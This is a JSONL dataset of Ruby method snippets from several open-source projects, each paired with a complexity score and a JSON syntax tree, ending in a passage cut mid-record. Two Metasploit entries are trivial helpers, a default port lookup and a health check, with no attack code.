{"repo_name":"rails","file_path":"./repos/rails/activejob/lib/active_job/exceptions.rb","start_line":192,"raw_source":"def determine_jitter_for_delay(delay, jitter)\n        return 0.0 if jitter.zero?\n        Kernel.rand * delay * jitter\n      end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"determine_jitter_for_delay\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"delay\"]},{\"type\":\"arg\",\"children\":[\"jitter\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jitter\"]},\"zero?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"float\",\"children\":[0.0]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Kernel\"]},\"rand\"]},\"*\",{\"type\":\"lvar\",\"children\":[\"delay\"]}]},\"*\",{\"type\":\"lvar\",\"children\":[\"jitter\"]}]}]}]}","id":"b2283dce-7108-4fb8-81c4-275e47fed26c"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/application_controller.rb","start_line":208,"raw_source":"def log_requesting_user\n    return unless Setting.log_requesting_user?\n\n    unless User.current.anonymous?\n      login_and_mail = \" (#{escape_for_logging(User.current.login)} ID: #{User.current.id} \" \\\n                       \"<#{escape_for_logging(User.current.mail)}>)\"\n    end\n    logger.info \"OpenProject User: #{escape_for_logging(User.current.name)}#{login_and_mail}\"\n  end","complexity_score":22.9,"ast_json":"{\"type\":\"def\",\"children\":[\"log_requesting_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"log_requesting_user?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]},\"anonymous?\"]},null,{\"type\":\"lvasgn\",\"children\":[\"login_and_mail\",{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"escape_for_logging\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]},\"login\"]}]}]},{\"type\":\"str\",\"children\":[\" ID: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\" \"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"escape_for_logging\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]},\"mail\"]}]}]},{\"type\":\"str\",\"children\":[\">)\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"OpenProject User: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"escape_for_logging\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]},\"name\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"login_and_mail\"]}]}]}]}]}]}","id":"4c4c46c0-3e63-40be-8810-621da72424d9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/support/knapsack_report.rb","start_line":173,"raw_source":"def gcs_credentials\n        json_key = ENV[\"QA_KNAPSACK_REPORT_GCS_CREDENTIALS\"] || raise(\n          \"QA_KNAPSACK_REPORT_GCS_CREDENTIALS env variable is required!\"\n        )\n        return { google_json_key_location: json_key } if File.exist?(json_key)\n\n        { google_json_key_string: json_key }\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"gcs_credentials\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"json_key\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"QA_KNAPSACK_REPORT_GCS_CREDENTIALS\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"QA_KNAPSACK_REPORT_GCS_CREDENTIALS env variable is required!\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"json_key\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"google_json_key_location\"]},{\"type\":\"lvar\",\"children\":[\"json_key\"]}]}]}]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"google_json_key_string\"]},{\"type\":\"lvar\",\"children\":[\"json_key\"]}]}]}]}]}","id":"f1f7bf15-9504-4eac-b5c8-2043fd2d8cef"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/model_generator_test.rb","start_line":555,"raw_source":"def test_token_option_adds_has_secure_token\n    run_generator [\"user\", \"token:token\", \"auth_token:token\"]\n    expected_file = <<~FILE\n      class User < ApplicationRecord\n        has_secure_token\n        has_secure_token :auth_token\n      end\n    FILE\n    assert_file \"app/models/user.rb\", expected_file\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_token_option_adds_has_secure_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"user\"]},{\"type\":\"str\",\"children\":[\"token:token\"]},{\"type\":\"str\",\"children\":[\"auth_token:token\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected_file\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"class User < ApplicationRecord\\n\"]},{\"type\":\"str\",\"children\":[\"  has_secure_token\\n\"]},{\"type\":\"str\",\"children\":[\"  has_secure_token :auth_token\\n\"]},{\"type\":\"str\",\"children\":[\"end\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"app/models/user.rb\"]},{\"type\":\"lvar\",\"children\":[\"expected_file\"]}]}]}]}","id":"9ee6e694-6373-4559-a5ae-292c1f09b591"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/linux/gather/manageengine_password_manager_creds.rb","start_line":208,"raw_source":"def pg_port\n    @pg_port ||= datastore['PG_PORT'].blank? ? 2345 : datastore['PG_PORT']\n  end","complexity_score":8.28,"ast_json":"{\"type\":\"def\",\"children\":[\"pg_port\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@pg_port\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PG_PORT\"]}]},\"blank?\"]},{\"type\":\"int\",\"children\":[2345]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PG_PORT\"]}]}]}]}]}","id":"b7925206-4dd3-4020-b63d-c5555211d6ea"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/deprecated_assignee.rb","start_line":58,"raw_source":"def nullify_deprecated_assignee\n    return unless persisted? && Gitlab::Database.read_only?\n\n    update_column(:assignee_id, nil)\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"nullify_deprecated_assignee\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"persisted?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"read_only?\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"update_column\",{\"type\":\"sym\",\"children\":[\"assignee_id\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"b4d3195e-6395-40ce-9de5-ea932a0a7073"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/color_palette_editor.rb","start_line":39,"raw_source":"def has_no_revert_button_for_color?(name)\n        component.has_no_css?(\n          \".color-palette-editor__colors-item[data-color-name='#{name}'] .color-palette-editor__revert:not(.--hidden)\",\n        )\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_no_revert_button_for_color?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"component\"]},\"has_no_css?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\".color-palette-editor__colors-item[data-color-name='\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"'] .color-palette-editor__revert:not(.--hidden)\"]}]}]}]}","id":"5ed43a82-3cf2-45fb-a5ac-a6f0603030c6"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/concerns/algolia_searchable/searchable_organization.rb","start_line":21,"raw_source":"def trigger_sidekiq_worker(record, delete)\n        AlgoliaSearch::SearchIndexWorker.perform_async(record.class.name, record.id, delete)\n      end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"trigger_sidekiq_worker\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]},{\"type\":\"arg\",\"children\":[\"delete\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AlgoliaSearch\"]},\"SearchIndexWorker\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"class\"]},\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"id\"]},{\"type\":\"lvar\",\"children\":[\"delete\"]}]}]}","id":"1717a841-2f51-48f4-8255-fdd732eb4580"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/search.rb","start_line":100,"raw_source":"def self.clean_term(term)\n    term = term.to_s.dup\n\n    # Removes any zero-width characters from search terms\n    term.gsub!(/[\\u200B-\\u200D\\uFEFF]/, \"\")\n\n    # Replace curly quotes to regular quotes\n    term.gsub!(/[\\u201c\\u201d]/, '\"')\n\n    # Replace fancy apostophes to regular apostophes\n    term.gsub!(/[\\u02b9\\u02bb\\u02bc\\u02bd\\u02c8\\u2018\\u2019\\u201b\\u2032\\uff07]/, \"'\")\n\n    term\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"clean_term\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"term\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"term\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"term\"]},\"to_s\"]},\"dup\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"term\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[\\\\u200B-\\\\u200D\\\\uFEFF]\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"term\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[\\\\u201c\\\\u201d]\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"term\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[\\\\u02b9\\\\u02bb\\\\u02bc\\\\u02bd\\\\u02c8\\\\u2018\\\\u2019\\\\u201b\\\\u2032\\\\uff07]\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"'\"]}]},{\"type\":\"lvar\",\"children\":[\"term\"]}]}]}","id":"f99c4798-faa9-47fc-bbe8-ce9795ca7dd1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240909231039_add_fk_on_events_personal_namespace_id_self_managed.rb","start_line":16,"raw_source":"def down\n    return if Gitlab.com_except_jh?\n\n    with_lock_retries { remove_foreign_key TABLE_NAME, column: :personal_namespace_id }\n  end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"com_except_jh?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key\",{\"type\":\"const\",\"children\":[null,\"TABLE_NAME\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"personal_namespace_id\"]}]}]}]}]}]}]}","id":"07ccef5b-9133-475f-a601-0e99d9aac9ed"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/mailers/previews/notify_preview.rb","start_line":673,"raw_source":"def cleanup\n    email = nil\n\n    ApplicationRecord.transaction do\n      email = yield\n      raise ActiveRecord::Rollback\n    end\n\n    email\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"cleanup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"email\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ApplicationRecord\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"email\",{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Rollback\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"email\"]}]}]}","id":"843d89cd-5250-4d38-8c89-cb296efac557"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/chargeback/consumption_with_rollups.rb","start_line":218,"raw_source":"def rollup_records\n      if rollup_records_tagged_partially? && !current_resource_tags_in_tag_filter?\n        tag_filtered_for_rollup_records\n      else\n        @rollup_records\n      end\n    end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"rollup_records\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rollup_records_tagged_partially?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_resource_tags_in_tag_filter?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"tag_filtered_for_rollup_records\"]},{\"type\":\"ivar\",\"children\":[\"@rollup_records\"]}]}]}","id":"abc33e47-3860-441d-ae0a-f4852a074e39"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/rpc/v10/rpc_health.rb","start_line":12,"raw_source":"def rpc_check_noauth\n    Msf::RPC::Health.check(framework)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"rpc_check_noauth\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"RPC\"]},\"Health\"]},\"check\",{\"type\":\"send\",\"children\":[null,\"framework\"]}]}]}","id":"9fa8afb3-ec77-43e4-b9e0-570bfd0a25f2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/alert_management/payload/prometheus.rb","start_line":81,"raw_source":"def has_required_attributes?\n          project && title && starts_at_raw\n        end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"has_required_attributes?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"title\"]}]},{\"type\":\"send\",\"children\":[null,\"starts_at_raw\"]}]}]}","id":"2608ae09-ac42-4527-b015-c13b67a52b88"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/service/base.rb","start_line":107,"raw_source":"def policy(name = :default, class_name: nil)\n        steps << PolicyStep.new(name, class_name:)\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"policy\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"name\",{\"type\":\"sym\",\"children\":[\"default\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"class_name\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"steps\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PolicyStep\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class_name\"]},{\"type\":\"lvar\",\"children\":[\"class_name\"]}]}]}]}]}]}","id":"abb98386-4ebc-4e86-9f9a-f56de634cc47"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/community_bots/delete_bot.rb","start_line":40,"raw_source":"def authorized?\n      return true if @deleted_by.any_admin?\n      return true if @deleted_by.super_moderator?\n      return true if @deleted_by.subforem_moderator?(subforem: Subforem.find(@bot_user.onboarding_subforem_id))\n\n      @error_message = \"Unauthorized to delete this bot\"\n      false\n    end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"authorized?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@deleted_by\"]},\"any_admin?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@deleted_by\"]},\"super_moderator?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@deleted_by\"]},\"subforem_moderator?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subforem\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Subforem\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@bot_user\"]},\"onboarding_subforem_id\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@error_message\",{\"type\":\"str\",\"children\":[\"Unauthorized to delete this bot\"]}]},{\"type\":\"false\",\"children\":[]}]}]}","id":"e098530a-d120-40b0-adfe-e0b30b0a1e44"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/database/schema/model_writer.rb","start_line":166,"raw_source":"def insertion_arguments(columns)\n      columns\n        .map do |c|\n          argument =\n            case c.datatype\n            when :datetime\n              \"::Migrations::Database.format_datetime(#{c.name})\"\n            when :date\n              \"::Migrations::Database.format_date(#{c.name})\"\n            when :boolean\n              \"::Migrations::Database.format_boolean(#{c.name})\"\n            when :inet\n              \"::Migrations::Database.format_ip_address(#{c.name})\"\n            when :blob\n              \"::Migrations::Database.to_blob(#{c.name})\"\n            when :json\n              \"::Migrations::Database.to_json(#{c.name})\"\n            when :float, :integer, :numeric, :text\n              c.name\n            else\n              raise \"Unknown datatype: #{c.datatype}\"\n            end\n          \"        #{argument},\"\n        end\n        .join(\"\\n\")\n    end","complexity_score":32.5,"ast_json":"{\"type\":\"def\",\"children\":[\"insertion_arguments\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"columns\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"columns\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"argument\",{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"datatype\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"datetime\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"::Migrations::Database.format_datetime(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"date\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"::Migrations::Database.format_date(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"boolean\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"::Migrations::Database.format_boolean(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"inet\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"::Migrations::Database.format_ip_address(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"blob\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"::Migrations::Database.to_blob(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"::Migrations::Database.to_json(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"float\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"sym\",\"children\":[\"numeric\"]},{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unknown datatype: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"datatype\"]}]}]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"        \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"argument\"]}]},{\"type\":\"str\",\"children\":[\",\"]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}","id":"d38c0906-ea4c-4be4-ac49-35de9962d91d"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/callbacks.rb","start_line":435,"raw_source":"def increment!(attribute, by = 1, touch: nil) # :nodoc:\n      touch ? _run_touch_callbacks { super } : super\n    end","complexity_score":4.45,"ast_json":"{\"type\":\"def\",\"children\":[\"increment!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"optarg\",\"children\":[\"by\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"kwoptarg\",\"children\":[\"touch\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"touch\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_run_touch_callbacks\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"e422ac9e-405b-4399-acc5-cafc4776925f"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/lcov.rb","start_line":54,"raw_source":"def self.gen_lcov_cmd(cov_file)\n        cmd = \"lcov \"\n        exclude_dirs.each do |e|\n          cmd << \"--remove #{cov_file} \\\"#{e}\\\" \"\n        end\n        cmd << \"--output #{cov_file} \"\n      end","complexity_score":6.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"gen_lcov_cmd\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cov_file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"str\",\"children\":[\"lcov \"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exclude_dirs\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--remove \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cov_file\"]}]},{\"type\":\"str\",\"children\":[\" \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"str\",\"children\":[\"\\\" \"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--output \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cov_file\"]}]},{\"type\":\"str\",\"children\":[\" \"]}]}]}]}]}","id":"9a1f2307-5d23-4421-a4f0-e761d98746a0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/backfill_missing_namespace_id_on_notes.rb","start_line":13,"raw_source":"def perform\n        each_sub_batch do |sub_batch|\n          # Build common CTEs that will be reused for all update queries\n          ctes = build_common_ctes(sub_batch)\n\n          # Get distinct noteable types in this batch to avoid unnecessary queries\n          noteable_types = fetch_noteable_types_in_batch(ctes)\n\n          # Skip processing if no notes need updating\n          next if noteable_types.empty?\n\n          # Process only the noteable types that exist in this batch\n          process_noteables_with_ctes(ctes, noteable_types)\n\n          # Archive orphaned notes (those still without namespace_id)\n          archive_orphaned_notes_with_ctes(ctes)\n        end\n      